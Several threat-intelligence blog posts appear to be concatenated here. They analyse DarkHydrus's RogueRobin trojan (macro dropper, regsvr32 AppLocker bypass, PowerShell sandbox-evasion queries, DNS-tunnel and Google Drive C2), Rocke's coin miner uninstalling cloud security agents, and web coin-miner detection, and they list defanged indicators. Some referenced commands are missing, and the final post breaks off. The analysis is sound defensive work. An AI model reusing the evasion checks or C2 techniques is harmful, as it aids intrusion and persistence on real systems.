SHA256 file hashes, archive file names, and extracted file names for Redaman banking malware found in November 2018. Information is available at: https://github.com/pan-unit42/iocs/blob/master/Redaman_banking_malware/2018-11-file-hashes-for-Redaman-banking-malware.txt

Appendix E

SHA256 file hashes, archive file names, and extracted file names for Redaman banking malware found in December 2018. Information is available at: https://github.com/pan-unit42/iocs/blob/master/Redaman_banking_malware/2018-12-file-hashes-for-Redaman-banking-malware.txt

DarkHydrus delivers new Trojan that can use Google Drive for C2 communications

Posted on by Robert Falcone

In the summer of 2018, Unit 42 released reporting regarding activity in the Middle East surrounding a cluster of activity using similar tactics, tools, and procedures (TTPs) in which we named the adversary group DarkHydrus. This group was observed using tactics such as registering typosquatting domains for security or technology vendors, abusing open-source penetration testing tools, and leveraging novel file types as anti-analysis techniques.

Since that initial reporting, we had not observed new activity from DarkHydrus until recently, when 360TIC published a tweet and subsequent research discussing delivery documents that appeared to be attributed to DarkHydrus. In the process of analyzing the delivery documents, we were able to collect additional associated samples, uncover additional functionality of the payloads including the use of Google Drive API, and confirm the strong likelihood of attribution to DarkHydrus. We have notified Google of our findings.

Delivery Document

We collected a total of three DarkHydrus delivery documents installing a new variant of the RogueRobin trojan. These three documents were extremely similar to each other and are all macro enabled Excel documents with .xlsm file extensions. None of the known documents contain a lure image or message to instruct the recipient to click the Enable Content button necessary to run the macro, as seen in Figure 1. While we cannot confirm the delivery mechanism, it is likely that the instructions to click the Enable Content button were provided during delivery, such as in the body of a spear-phishing email.

    Figure 1 DarkHydrus' delivery document does not have a lure image or message

Without the delivery mechanism we cannot confirm the exact time these delivery documents were used in an attack; however, the observed timestamps within these three delivery documents gives us an idea when the DarkHydrus actors created them. While the creation times were timestomped to a default time of 2006-09-16 00:00:00Z commonly observed in malicious documents, the Last Modified times were still available and suggest that DarkHydrus created these documents in December 2018 and January 2019. Table 1 shows the breakdown of timestamps and their associated sample hashes.

SHA256 Last Modified
e068c6536bf353abe249ad0464c58fb85d7de25223442dd220d64116dbf1e022

 

 2018-12-15T05:14:32Z

 

 
4e40f80114e5bd44a762f6066a3e56ccdc0d01ab2a18397ea12e0bc5508215b8     2018-12-23T05:45:43Z
513813af1590bc9edeb91845b454d42bbce6a5e2d43a9b0afa7692e4e500b4c8

 

 2019-01-08T06:51:21Z

 

 

Table 1 Timestamps of delivery documents

The macro executes immediately after pressing the Enable Content button thanks to the  Workbook_Open sub-function, which will call the actor created New_Macro function. The New_Macro function starts by concatenating several strings to create a PowerShell script that it will write to the file %TEMP%\WINDOWSTEMP.ps1. The function builds the contents of a second file by concatenating several strings together, but this second file is a .sct file that the function will write to a file %TEMP%\12-B-366.txt. While .sct files are used by a multitude of applications, in this instance it is being used as a Windows Script Component file. The function then uses the built-in Shell function to run the following command, which effectively executes the .sct file stored in 12-B-366.txt:

The use of the legitimate regsvr32.exe application to run a .sct file is an AppLocker bypass technique originally discovered by Casey Smith (@subtee), which eventually resulted in a Metasploit module. The WINDOWSTEMP.ps1 script is a dropper that decodes an embedded executable using base64 and decompresses it with the System.IO.Compression.GzipStream object. The script saves the decoded and decompressed executable to %APPDATA%\Microsoft\Windows\Templates\WindowsTemplate.exe and creates an LNK shortcut at %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.lnk to persistently run WindowsTemplate.exe each time Windows starts up. The WindowsTemplate.exe executable is a new variant of RogueRobin written in C#.

RogueRobin .NET Payload

In our original blog on DarkHydrus, we analyzed a PowerShell-based payload we named RogueRobin. While performing the analysis on the delivery documents using the .sct file AppLocker bypass, we noticed the C# payload was functionally similar to the original RogueRobin payload. The similarities between the PowerShell and C# variants of RogueRobin suggests that the DarkHydrus group ported their code to a compiled variant.

The C# variant of RogueRobin attempts to detect if it is executing in a sandbox environment using the same commands as in the PowerShell variant of RogueRobin. The series of commands, as seen in Table 2, include checks for virtualized environments, low memory, and processor counts, in addition to checks for common analysis tools running on the system. The Trojan also checks to see if a debugger is attached to its processes and will exit if it detects the presence of a debugger.

PowerShell command Description
‘gwmi -query "select * from win32_BIOS where SMBIOSBIOSVERSION LIKE '%VBOX%'" Query attempts to detect VirtualBox environment from the win32_BIOS WMI class
gwmi -query "select * from win32_BIOS where SMBIOSBIOSVERSION LIKE '%bochs%'" Query attempts to detect Bochs environment from the win32_BIOS WMI class
gwmi -query "select * from win32_BIOS where SMBIOSBIOSVERSION LIKE '%qemu%'" Query attempts to detect QEMU environment from the win32_BIOS WMI class
gwmi -query "select * from win32_BIOS where SMBIOSBIOSVERSION LIKE '%VirtualBox%'" Query attempts to detect VirtualBox environment from the win32_BIOS WMI class
gwmi -query "select * from win32_BIOS where SMBIOSBIOSVERSION LIKE '%VM%'" Query attempts to detect VMWare environment from the win32_BIOS WMI class
gwmi -query "Select * from win32_BIOS where Manufacturer LIKE '%XEN%'" Query attempts to detect Xen environment from the win32_BIOS WMI class
gwmi win32_computersystem Uses this query to check the system information for the string “VMware”.
gwmi -query "Select TotalPhysicalMemory from Win32_ComputerSystem" Uses this query to check to see if the total physical memory is less than 2,900,000,000 bytes.
gwmi -Class win32_Processor | select NumberOfCores Uses this query to check to see if the total number of CPU cores is less than 1.
Get-Process | select Company Checks to see if any running processes have "Wireshark" or "Sysinternals" as the company name.

Table 2 Sandbox evasion checks in the C# variant of RogueRobin

Like the original version, the C# variant of RogueRobin uses DNS tunneling to communicate with its C2 server using a variety of different DNS query types. Just like in the sandbox checks, the Trojan checks for an attached debugger each time it issues a DNS query; if it does detect a debugger it will issue a DNS query to resolve 676f6f646c75636b.gogle[.]co. The domain is legitimate and owned by Google. The subdomain 676f6f646c75636b is a hex encoded string which decodes to goodluck. This DNS query likely exists as a note to researchers or possibly as an anti-analysis measure, as it will only trigger if the researcher has already patched the initial debugger check to move onto the C2 function. Figure 2 shows the code responsible for detecting the attached debugger and issuing the corresponding DNS request.

Figure 2 Code that issues DNS query to gogle.co if a debugger is detected

All DNS requests issued by RogueRobin use the built in nslookup.exe application to communicate to the C2 server and the Trojan will use a variety of regular expressions to extract data from the DNS response. Firstly, the Trojan will use the following regular expression to determine if the C2 server wishes to cancel the C2 communications:

Additionally, the RogueRobin Trojan uses the regular expressions in Table 3 to confirm that the DNS response contains the appropriate data for it to extract information from.

Regular Expressions
([^r-v\\s])[r-v]([\\w\\d+\\/=]+)-\\w+.(<domainList[0]>|<domainList[1]>|<domainList[n]>)
Address:\\s+(([a-fA-F0-9]{0,4}:{1,4}[\\w|:]+){1,8})
Address:\\s+(([a-fA-F0-9]{0,4}:{1,2}){1,8})
([^r-v\\s]+)[r-v]([\\w\\d+\\/=]+).(<domainList[0]>|<domainList[1]>|<domainList[n]>)
(\\w+).(<domainList[0]>|<domainList[1]>|<domainList[n]>)
Address:\\s+(\\d+.\\d+.\\d+.\\d+)

Table 3 Regular expressions used by RogueRobin

The C# variant, like its PowerShell relative, will issue DNS queries to determine which query types can successfully communicate with its C2 servers. Figure 3 shows the RogueRobin payload issuing DNS requests to resolve custom crafted subdomains of its C2 domains using TXT, SOA, MX, CNAME, SRV, A and AAAA query types.

Figure 3 RogueRobin testing various DNS query types

The domains in the test queries, such as aqhpc.akdns[.]live have subdomains that are generated by substituting the digits in the Trojan’s process ID with characters seen in Table 4 (for example qhp for the PID 908) and surrounding these characters with the static characters a and c. The C2 server can respond to any of the query types to provide a unique identifier value that the Trojan will store in a variable and use in future DNS requests.

 

Character Digit
h 0
i 1
j 2
k 3
l 4
m 5
n 6
o 7
p 8
q 9

Table 4 Character substitution used in RogueRobin

The Trojan will use future DNS requests to retrieve jobs from the C2 server, which the Trojan will handle as commands. To obtain a job, the Trojan builds a subdomain that has the following structure and issues a DNS query to the C2 server:

c<unique identifier><job identifier padded with ‘0’ to make three digits><sequence number>c

The generated subdomain is then subjected to a number-to-character substitution function that is the inverse of the Table 4, which effectively converts all the digits in the subdomain into characters. The Trojan checks the response to this query using the regular expressions in Table 3. If it received a non-cancelling response, the Trojan will extract data from the DNS responses and treat it as commands. Table 5 shows the commands that the C# variant of RogueRobin can handle, which is extremely similar to the previously analyzed PowerShell variant.

Regex  Description
^kill Kills a thread running in Trojan based on a provided thread name
^\$fileDownload Uploads a file to the C2 server via the DNS tunnel
^\$importModule Runs a provided PowerShell command and adds it to a list called 'modules'
^\$x_mode Turns on the alternative mode of 'x_mode' on to use the alternative C2 channel. If preceded by "OFF", it turns 'x_mode' off, otherwise the command is newline delimited with settings to use this alternative C2 functionality.
^\$ClearModules Clears the previously run 'modules' list
^\$fileUpload This command should be followed by a string that will be used as a path to save a new file to the system. This command will then reach out to the C2 server to obtain the data to save to this file path.
^testmode Runs the test function to determine which DNS query types can successfully communicate with the C2
^showconfig Creates a pipe delimited ("|") string that contains the sample's settings, including the list of C2 domains and available DNS query types.
^changeConfig Allows the C2 to set values within the Trojan's configuration via pipe delimited ("|") string. The string is formatted as "<domain list>|<minimum query size>|<maximum query size>|<hasGarbage>|<sleepPerRequest>|<maximum requests>|<query types>|<hibridMode>|<current query mode>"
^slp Sets the sleep and jitter values
^exit Exits the Trojan

Table 5 Commands available within the C# variant of RogueRobin

Using Google Drive for C2

A command that was not available in the original PowerShell variant of RogueRobin but is available with the new C# variant is the x_mode. This command is particularly interesting as it enables an alternative command and control channel that uses the Google Drive API. The x_mode command is disabled by default, but when enabled via a command received from the DNS tunneling channel, it allows RogueRobin to receive a unique identifier and to get jobs by using Google Drive API requests.

In x_mode, RogueRobin uploads a file to the Google Drive account and continually checks the file's modification time to see if the actor has made any changes to it. The actor will first modify the file to include a unique identifier that the Trojan will use for future communications. The Trojan will treat all subsequent changes to the file made by the actor as jobs and will treat them as commands, which it will handle with the same command handler seen in Table 5.

To use Google Drive, the x_mode command received from the C2 server via DNS tunneling will be followed by a newline-delimited list of settings needed to interact with the Google Drive account. Figure 4 shows the code in RogueRobin that handles the x_mode command, specifically splitting the command data on newlines and using the resulting array to set variables used as x_mode settings.

Figure 4 x_mode command and new line delimited settings

As seen in Figure 4, the settings are stored in variables seen in Table 6, which are used to authenticate to the actor-controlled Google account before uploading and downloading files from Google Drive.

Variable Name Description
gdu Google Drive URL for downloading files to the Google Drive account
gduu Google Drive URL for uploading files to the Google Drive account
gdue Google Drive URL for updating a file on the Google Drive account
gdo2t Google Drive URL used to get the OAUTH access_token
client_id The client_id for the OAUTH application
cs The client_secret for OAUTH
r_t The refresh_token for OAUTH

Table 6 Variables used to store settings needed to use Google Drive as a C2

To obtain an OAUTH access token to authenticate to the actor provided Google account, the Trojan sends an HTTP POST request to a URL stored in the gdo2t variable with grant_type, client_id, client_secret, and refresh_token fields added to the HTTP header and in the POST data. As seen in Figure 5, the values for these fields are set to variables initially set upon issuing of the x_mode command.

Figure 5 HTTP POST request to obtain an OAUTH access token

Figure 5 shows that the Trojan then uses the following regular expression to obtain the access token from the HTTP response:

\"access_token\":(.*)

Once authenticated with a valid access token, the Trojan will attempt to upload a file to the Google Drive account. To upload a file, the Trojan first creates an HTTP POST request to the URL stored in gduu to send the following JSON data to the Google Drive account:

{ "name" : “<process ID of Trojan>.txt” }

Google Drive will respond to this request with an HTTP response whose header contains a Location field. This field contains a URL that the Trojan will use to upload the contents of the <process ID of Trojan>.txt file, which will be structured as <process ID of Trojan>.<C2 domain> where the process ID is encoded with the same character substitution function as seen previously in Table 4. The Trojan will then use the following regular expression to check the HTTP response to the content upload request for the file identifier value:

\"id\":(.*)

The Trojan will use this file identifier value to monitor for changes made to the file by the actor by checking for changes to the modification time of the <process ID of Trojan>.txt file. The Trojan checks the modified time of the file by creating an HTTP request to a URL structured as follows:

<Google Drive URL in ‘gdu’> + <file identifier> + "?supportTeamDrives=true&fields=modifiedTime"

The Trojan then uses the following regular expression to obtain the modified time of the file from the HTTP response, which is saved to the variable named modification_time:

\"modifiedTime\":(.*)

The Trojan then uploads a second file to the Google Drive, the purpose of which is to allow the Trojan to continually write to this file as it waits for the actor to modify the first file uploaded. The Trojan will write <process ID of Trojan> to a second file stored on the Google Drive instance named <process ID of Trojan>-U.txt. In each iteration of the communications loop, the Trojan will check to see if the modification time of the first file changed, and if it is not updated the Trojan will update the second file by writing the string b<unique identifier>c<5 random lowercase characters>.<C2 domain> to the file by creating an HTTP POST request to a URL structured as follows:

<Google Drive URL in ‘gdue’> + <second file identifier> + "?supportsTeamDrive=true&uploadType=resumable&fields=kind,id,name,mimeType,parents"

In one RogueRobin sample (SHA256: f1b2bc0831...), the author did not use the Google Drive URL provided by the actor when issuing the x_mode command, and instead included a  hardcoded Google Drive URL, as seen in Figure 6. This is the only instance we observed where a hardcoded Google Drive URL was included in RogueRobin, which may suggest that the author may have overlooked this during testing.

Figure 6 Hardcoded Google Drive URL used in RogueRobin sample

When the modification_time for the first file changes, the Trojan downloads the contents from the first file uploaded to the Google Drive. The Trojan downloads the contents of this file by crafting an HTTP request to a URL structured as follows:

<Google Drive URL in ‘gdu’> + <first file identifier> + "?alt=media"

With the contents of the file downloaded, the Trojan sets the modification_time variable to the current modification time so the Trojan knows when the actor makes further changes to the file. The Trojan processes the downloaded data the same way it would for a unique identifier as if the data was obtained via the DNS tunneling protocol using the TXT query mode, specifically by searching the data using the following regular expression:

\"(\\w+).(<domainList[0]>|<domainList[1]>|<domainList[n]>).\"

With the unique identifier value obtained from the file on Google Drive, the Trojan will attempt to obtain jobs using the Google Drive communications channel. To get a job from the Google Drive account, the Trojan starts by creating a string that has the following structure with each element within the subdomain subjected to the number to character substitution from Table 4:

c<unique identifier><job identifier padded with ‘0’ to make three digits><sequence number>c.<C2 domain>

The Trojan will then obtain an OAUTH access token to the Google Drive in the same manner as before when obtaining the unique identifier. The Trojan uses the access token to write the string above to the first file uploaded to Google drive whose filename is <process ID of Trojan>.txt. After writing to this file, the Trojan will enter a loop to continually to check for changes to the modification time of this file, effectively waiting for the actor to make modifications to the file. When the actor modifies the file and changes the modification_time, the Trojan downloads the contents from the file by creating an HTTP request to a URL structured as follows:

<Google Drive URL in ‘gdu’> + <file identifier in 'f_id'> + "?alt=media"

The Trojan processes the downloaded data within the file the same way it would to obtain a job from data received from the DNS tunneling channel using the TXT query mode, specifically by searching the data using the following regular expression:

([^r-v\\s]+)[r-v]([\\w\\d+\\/=]+).(<domainList[0]>|<domainList[1]>|<domainList[n]>)

The Trojan function splits the matching data, specifically the subdomain on a separator that is a character between r and v and uses the data before the separator to get the sequence number and a Boolean value (0 or 1) if more data is expected. It will use the data after the separator as the string that it will subject to the command handler seen in Table 5.

Infrastructure

The initial list of C2 domains released by 360TIC associated with 513813af15... appeared thematically very similar to previous DarkHydrus activity, using domain names visually similar to well-known technology vendors or service providers. This list was further expanded upon by ClearSky Security (here, here and here) in a series of tweets that provided additional similar domain names also likely linked to DarkHydrus. To better understand how these domains are related to DarkHydrus, we began visually mapping the relationships between the list of domains, which can be seen in Figure 7. The diagram shows the DarkHydrus group using a consistent naming schema and structure in their infrastructure. They register a multitude of domains and set up nameservers to use as their primary DNS for their C2 domains.

Figure 7 Relational diagram of DarkHydrus infrastructure

For this campaign, we are able to cluster the adversary infrastructure via the specific nameservers that were deployed for C2s. The brackets in Figure 7 shows the distinct clustering of infrastructure into three groups. We were able to retrieve live payloads associated with two of the clusters. A third cluster was also shared by ClearSky Security, but we were unable to associate a live payload to them. Although the third cluster does not appear to have any direct relationships to the other two clusters, it is still highly probable that this cluster is related to the two other clusters via the structuring of domains with custom nameservers. In addition, the domain names themselves were extremely similar, with some examples being exactly the same but on a different top level domain.

The two sets of nameservers we were able to associate with the retrieved payloads were tbs1/tbs2.microsoftonline.services and tvs1/tvs2.trafficmanager.live. The distribution of C2 domains and their nameservers can be seen in Table 7.

Sample(s) f1b2bc0831445903c0d51b390b1987597009cc0fade009e07d792e8d455f6db0

5cc62ad6baf572dbae925f701526310778f032bb4a54b205bada78b1eb8c479c
DNS tbs1/tbs2.microsoftonline.services
Domains 0ffice365[.]agency
0ffice365[.]life
0ffice365[.]services
0nedrive[.]agency
corewindows[.]agency
microsoftonline[.]agency
onedrive[.]agency
sharepoint[.]agency
skydrive[.]agency
skydrive[.]services
Sample eb33a96726a34dd60b053d3d1048137dffb1bba68a1ad6f56d33f5d6efb12b97
DNS tvs1/tvs2.trafficmanager.live
Domains akamaiedge[.]live
  akamaized[.]live
  akdns[.]live
  edgekey[.]live

Table 7: Sample and Domain Associations

The third cluster of domains had six different nameservers associated with them, but unlike the other two clusters, were all directly tied to each other. Each of the domains appeared to have rotated through the six nameservers but oddly, one of the nameservers that several of the domains had rotated through did not appear to be currently registered. Examining historical IP resolutions revealed a common IP between the active nameservers, 107.175.75[.]123. This IP is of particular interest as historical domain resolutions of this IP revealed that it had resolved to the domain hotmai1l[.]com in the past as well, which was a domain we had previously identified as having a high likelihood of association with DarkHydrus infrastructure. This IP also belongs to the same service provider and class B network range as another IP we had associated with DarkHydrus, 107.175.150[.]113 which specifically resolved to a domain name containing a victim organization’s name.

Conclusion

The DarkHydrus group continues their operations and adds new techniques to their playbook. Recent DarkHydrus delivery documents revealed the group abusing open-source penetration testing techniques such as the AppLocker bypass. The payloads installed by these delivery documents show that the DarkHydrus actors ported their previous PowerShell-based RogueRobin code to an executable variant, which is behavior that has been commonly observed with other adversary groups operating in the Middle East, such as OilRig. Lastly, the new variant of RogueRobin is capable of using the Google Drive cloud service for its C2 channel, suggesting that DarkHydrus may be shifting to abusing legitimate cloud services for their infrastructure.

Palo Alto Networks customers are already be protected via:

  • All samples in this report have a malicious verdict in WildFire
  • Domains have been classified as malicious
  • AutoFocus tags are available for additional context: DarkHydrus and RogueRobin

Indicators of Compromise

Delivery Document SHA256

513813af1590bc9edeb91845b454d42bbce6a5e2d43a9b0afa7692e4e500b4c8

e068c6536bf353abe249ad0464c58fb85d7de25223442dd220d64116dbf1e022

4e40f80114e5bd44a762f6066a3e56ccdc0d01ab2a18397ea12e0bc5508215b8

RogueRobin SHA256

eb33a96726a34dd60b053d3d1048137dffb1bba68a1ad6f56d33f5d6efb12b97

f1b2bc0831445903c0d51b390b1987597009cc0fade009e07d792e8d455f6db0

5cc62ad6baf572dbae925f701526310778f032bb4a54b205bada78b1eb8c479c

RogueRobin C2s

akdns[.]live

akamaiedge[.]live

edgekey[.]live

akamaized[.]live

0ffice365[.]agency

0nedrive[.]agency

corewindows[.]agency

microsoftonline[.]agency

onedrive[.]agency

sharepoint[.]agency

skydrive[.]agency

0ffice365[.]life

0ffice365[.]services

skydrive[.]services

skydrive[.]agency

Nameservers

tvs1.trafficmanager[.]live

tvs2.trafficmanager[.]live

tbs1.microsoftonline[.]services

tbs2.microsoftonline[.]services

brit.ns.cloudfronts[.]services

dns.cloudfronts[.]services

ns2.akadns[.]services

britns.akadns[.]services

britns.akadns[.]live

ns2.akadns[.]live

Related Domains

iecvlist-microsoft[.]live

data-microsoft[.]services

asimov-win-microsoft[.]services

onecs-live[.]services

akamaiedge[.]services

phicdn[.]world

azureedge[.]today

nsatc[.]agency

Akamai[.]agency

t-msedge[.]world

Malware Used by Rocke Group Evolves to Evade Detection by Cloud Security Products

Posted on by Xingyu Jin

Palo Alto Networks Unit 42 recently captured and investigated new samples of the Linux coin mining malware used by the Rocke group. The family was suspected to be developed by the Iron cybercrime group and it’s also associated with the Xbash malware we reported on in September of 2018. The threat actor Rocke was originally revealed by Talos in August of 2018 and many remarkable behaviors were disclosed in their blog post. The samples described in this report were collected in October of 2018, and since that time the command and control servers they use have been shut down.

During our analysis, we realized that these samples used by the Rocke group adopted new code to uninstall five different cloud security protection and monitoring products from compromised Linux servers. In our analysis, these attacks did not compromise these security products: rather, the attacks first gained full administrative control over the hosts and then abused that full administrative control to uninstall these products in the same way a legitimate administrator would.

These products were developed by Tencent Cloud and Alibaba Cloud (Aliyun), the two leading cloud providers in China that are expanding their business globally. To the best of our knowledge, this is the first malware family that developed the unique capability to target and remove cloud security products. This also highlights a new challenge for products in the Cloud Workload Protection Platforms market defined by Gartner.

Technical Details

The Coin Miner used by Rocke Group

The threat actor Rocke was first reported by Cisco Talos in late July 2018. The ultimate goal of this threat is to mine Monero cryptocurrency in compromised Linux machines.

To deliver the malware to the victim machines, the Rocke group exploits vulnerabilities in Apache Struts 2, Oracle WebLogic, and Adobe ColdFusion. For example, by exploiting Oracle WebLogic vulnerability CVE-2017-10271 in Linux shown in Figure 1, a compromised Linux victim machine downloads backdoor 0720.bin and opens a shell.

Figure 1. Exploit CVE-2017-10271

Once the C2 connection is established, malware used by the Rocke group downloads shell script named as “a7” to the victim machine. The behaviors of a7 include:

  • Achieve persistence through cronjobs
  • Kill other crypto mining processes
  • Add iptables rules to block other crypto mining malware
  • Uninstall agent-based cloud security products
  • Download and run UPX packed coin miner from blog[.]sydwzl[.]cn
  • Hide process from Linux ps command by using the open source tool “libprocesshider” with LD_PRELOAD trick
  • Adjust malicious file date time

Cloud Workload Protection Platforms

According to Gartner, Cloud Workload Protection Platforms (CWPPs) are the agent-based workload-centric security protection solutions. To mitigate the impact of malware intrusion in public cloud infrastructure, cloud service providers develop their own CWPPs as the server security operation and management products.

For example, Tencent Cloud offers Tencent Host Security (HS, aka YunJing云镜) with various security protection services. According to its “Product Overview” document, Tencent Host Security provides key security features like trojan detection and removal based on machine learning, password cracking alert, logging activity audit, vulnerability management, and asset management as shown in Figure 2.

Figure 2. Tencent Host Security Key Features

Alibaba Cloud (Aliyun) also offers a cloud security product called Threat Detection Service (TDS, aka Aegis 安骑士). Alibaba Cloud Threat Detection Service provides security services like malware scanning and removal, vulnerability management, log analysis, and threat analysis based on big data.

Third-party cybersecurity companies also provide CWPPs. For instance, Trend Micro, Symantec, and Microsoft have their own cloud security products for public cloud infrastructure. As with all security products, adversaries inevitably work to evade these systems to be able to achieve their ultimate goals. 

Evading Detection from Cloud Workload Protection Platforms

In response to agent-based Cloud Workload Protection Platforms from cloud service providers, malware used by the Rocke group gradually developed the capability to evade detection before exhibiting any malicious behaviors. To be more specific, the malware uninstalls cloud security products by Alibaba Cloud and Tencent Cloud.

In the early version of the malware used by Rocke, it only attempts to kill Tencent Cloud Monitor process as shown in Figure 3.

Figure 3. Malware kills Tencent Cloud Monitor process

Realizing that killing the cloud monitor service alone is not enough to evade detection by agent-based cloud security products, the malware authors continued developing more effective methods to evade detection by killing more agent-based cloud security services.

The Tencent Cloud and Alibaba Cloud official websites provide documents to guide users about how to uninstall their cloud security products. The document for uninstalling Alibaba Threat Detection Service is shown in Figure 4.

Figure 4. Official guide for uninstalling Alibaba Threat Detection Service

The document for uninstalling Tencent Cloud Host Security is shown in Figure 5.

Figure 5. Official guide for uninstalling Tencent Cloud Host Security Product

The malware used by the Rocke group follows the uninstallation procedure provided by Alibaba Cloud and Tencent Cloud as well as some random blog posts on the Internet. The key uninstall function is shown in Figure 6.

Figure 6. Key function for malware to evade detection

This function can uninstall:

  1. Alibaba Threat Detection Service agent.
  2. Alibaba CloudMonitor agent (Monitor CPU & memory consumption, network connectivity).
  3. Alibaba Cloud Assistant agent (tool for automatically managing instances).
  4. Tencent Host Security agent.
  5. Tencent Cloud Monitor agent.

After agent-based cloud security and monitor products are uninstalled, the malware used by the Rocke group begins to exhibit malicious behaviors. We believe this unique evasion behavior will be the new trend for malware which targets public cloud infrastructure.

Mitigations

Palo Alto Networks Unit 42 has been cooperating with Tencent Cloud and Alibaba Cloud to address the malware evasion problem and its C2 infrastructure. Additionally, the malicious C2 domains are identified by our PAN-DB URL Filtering.

Conclusion

Public cloud infrastructure is one of the main targets for this cybercrime group. Realizing the existing cloud monitor and security products may detect the possible malware intrusion, malware authors continue to create new evasion technologies to avoid being detected by cloud security product.

The variant of the malware used by the Rocke group is an example that demonstrates that the agent-based cloud security solution may not be enough to prevent evasive malware targeted at public cloud infrastructure.

 

Indicators of Compromise

Samples with the evasion behavior

2e3e8f980fde5757248e1c72ab8857eb2aea9ef4a37517261a1b013e3dc9e3c4

2f603054dda69c2ac1e49c916ea4a4b1ae6961ec3c01d65f16929d445a564355

28ea5d2e44538cd7fec11a28cce7c86fe208b2e8f53d57bf8a18957adb90c5ab

232c771f38da79d5b8f7c6c57ddb4f7a8d6d44f8bca41be4407ed4923096c700

893bdc6b7d2d7134b1ceb5445dbb97ad9c731a427490d59f6858a835525d8417

9300f1aa56a73887d05672bfb9862bd786230142c949732c208e5e019d14f83a

27611b92d31289d023d962d3eb7c6abd194dbdbbe4e6977c42d94883553841e8

d341e3a9133e534ca35d5ccc54b8a79f93ff0c917790e7d5f73fedaa480a6b93

ed038e9ea922af9f0bf5e8be42b394650fa808982d5d555e6c50c715ff2cca0c

4b74c4d66387c70658238ac5ab392e2fe5557f98fe09eadda9259ada0d87c0f1

e391963f496ba056e9a9f750cbd28ca7a08ac4cfc434bee4fc57a292b11941e6

017dee32e287f37a82cf6e249f8a85b5c9d4f090e5452118ccacaf147e88dc66

 

Domains for C2 Communication

dwn[.]rundll32[.]ml

www[.]aybc[.]so

a[.]ssvs[.]space

sydwzl[.]cn

 

IPs for C2 Communication

118.24.150[.]172 (on Tencent Cloud)

120.55.54[.]65 (on Alibaba Cloud)

 

URLs for Code Update

hxxps://pastebin[.]com/raw/CnPtQ2tM

hxxps://pastebin[.]com/raw/rjPGgXQE

hxxps://pastebin[.]com/raw/1NtRkBc3

hxxps://pastebin[.]com/raw/tRxfvbYN

hxxps://pastebin[.]com/raw/SSCy7mY7

hxxps://pastebin[.]com/raw/VVt27LeH

hxxps://pastebin[.]com/raw/Fj2YdETv

hxxps://pastebin[.]com/raw/JNPewK6r

hxxps://pastebin[.]com/raw/TzBeq3AM

hxxps://pastebin[.]com/raw/eRkrSQfE

hxxps://pastebin[.]com/raw/5bjpjvLP

hxxps://pastebin[.]com/raw/Gw7mywhC

XMR Wallet Address

42im1KxfTw2Sxa716eKkQAcJpS6cwqkGaHHGnnUAcdDhG2NJhqEF1nNRwjkBsYDJQtDkLCTPehfDC4zjMy5hefT81Xk2h7V.v7

 

Caught in the Act: From Intrusive Coin Miners to Scam Websites

Posted on by Oleksii Starov

At Palo Alto Networks, we use various methods to detect malicious web pages and malicious JavaScript on websites our customers visit online. In addition to static approaches such as signature matching, our security crawlers execute all scripts discovered on web pages and observe their dynamic behavior. Then, we apply special behavioral signatures based on different indicators, such as global variables declared during runtime, popup messages shown to the user, established WebSocket connections, and others. Using such signatures we are able to detect malicious campaigns even in obfuscated, packed, or randomized JavaScript, as final malicious behavior remains the same. In particular, this method proved efficient in discovering such modern threats as intrusive coin miners (previously described here) and numerous kinds of scam campaigns.

In November 2018, we detected 8,712 distinct URLs with intrusive coin miners, which our customers attempted to visit more than one million times from more than 30,000 devices. In addition to the most popular, Coinhive, only a few other libraries are noticeably present, such as JSE-Coin, Crypto-Loot, and CoinImp. Unlike dedicated malicious websites that serve no other legitimate purposes, coin mining scripts are sometimes injected voluntarily into popular video streaming sites, therefore their domains are significantly more long living and popular than sites hosting other types of malicious JavaScripts. However, with behavioral analysis we can separate unauthorized coin mining (which starts without user consent), and thus detect and denylist really intrusive cases.

In addition, we captured 4,633 additional distinct URLs that lead to scams, clickjacking, phishing, and other malicious JavaScripts that were frequently targeting our customers from around the globe. Two of the most observed scam campaigns were technical support scam and fake Flash update pages.

Trends in Malicious JavaScript

From October 19, 2018 to November 19, 2018, we applied behavioral analysis to URLs coming from Palo Alto Networks customers that were unknown to our URL filtering categories on a daily basis. We then crawled Alexa’s top one million URLs as well as a feed of recently registered domains. Overall, we detected 9,104 coin mining scripts (over 8,712 distinct URLs), and 4,788 other malicious JavaScripts (over 4,633 distinct URLs),  which were undetectable using static analysis.

Results for Coin Miners

On average, we were detecting 1,097 coin mining URLs per day, including 184 previously unseen malicious URLs. Figure 1 shows the daily detection rates in detail (note, this is not a cumulative plot as it shows independent results per each day). Despite minor periodic drops in number, the overall trend of newer detections remains stable over time. Also, we keep detecting the same coin miners from day to day, highlighting the fact that coin mining websites are longer living compared to other more indisputable kinds of malicious JavaScript, such as phishing or exploits.

Figure 1. Daily detection rate of coin mining URLs

Figure 2 illustrates the distribution of popular families of coin miners among 9,104 scripts detected during the mentioned month. As we can see, Coinhive is leading with 46.8%, followed by 12.6% of anonymous Stratum Protocol communications. While other coin mining libraries trail behind; such as JSE-Coin (10.9%), Crypto-Loot (10%), CoinImp (6.7%), Monerise (6.6%), and NeroHut (1.4%). Interestingly, more than ten other coin mining libraries, including CoinNebula, BatMine, DeepMiner, CryptoNoter, Minr and others, collectively contribute to only 5% of all the detected scripts. This is possibly an indication of a change in coin mining trends, as we were detecting more of those libraries previously. Moreover, during past month we did not observe several libraries that were detected up to three months ago, namely WebXMR, ProjectPoi, and Grindcash.

 

Figure 2. Top recently observed coin miners

6,026 out of the 8,712 URLs with coin miners, or 69.1%, perform “unauthorized” coin mining. In other words, they start mining immediately after visiting the page, without asking users for consent. The most popular choice among coin mining libraries to perform unauthorized mining were CoinImp (unauthorized in 100% cases over 612 scripts), Crypto-Loot (in 86% cases over 906 scripts), Coinhive (in 77.7% cases over 3,312 scripts), and other 1,143 scripts generating unidentified stratum traffic.

At the same time, we observe many coin mining campaigns deploy additional techniques to remain stealthy. These include tactics such as static obfuscation and packing of their code. For example, we encountered many variations of mining JavaScript libraries similar to the one below, served from custom servers and usually named unrecognizably or even pretending to be popular benign scripts, such as “jquery.min.js”.

In such cases, matching of static signatures and file hashes can be challenging as they are almost always unique, but when we execute these scripts, it is straightforward to detect the same known global variables created on the page, namely “CoinHive” and “miner”. Moreover, the process of coin mining can also be detected by analyzing the WebSocket traffic.

As a result, at least 1,414 out of 4,264 Coinhive scripts, or 33.2%, were detected only because we were using dynamic analysis with behavioral signatures. Other methods, such as hash matching of the abstract syntax tree, could not bypass the obfuscation.

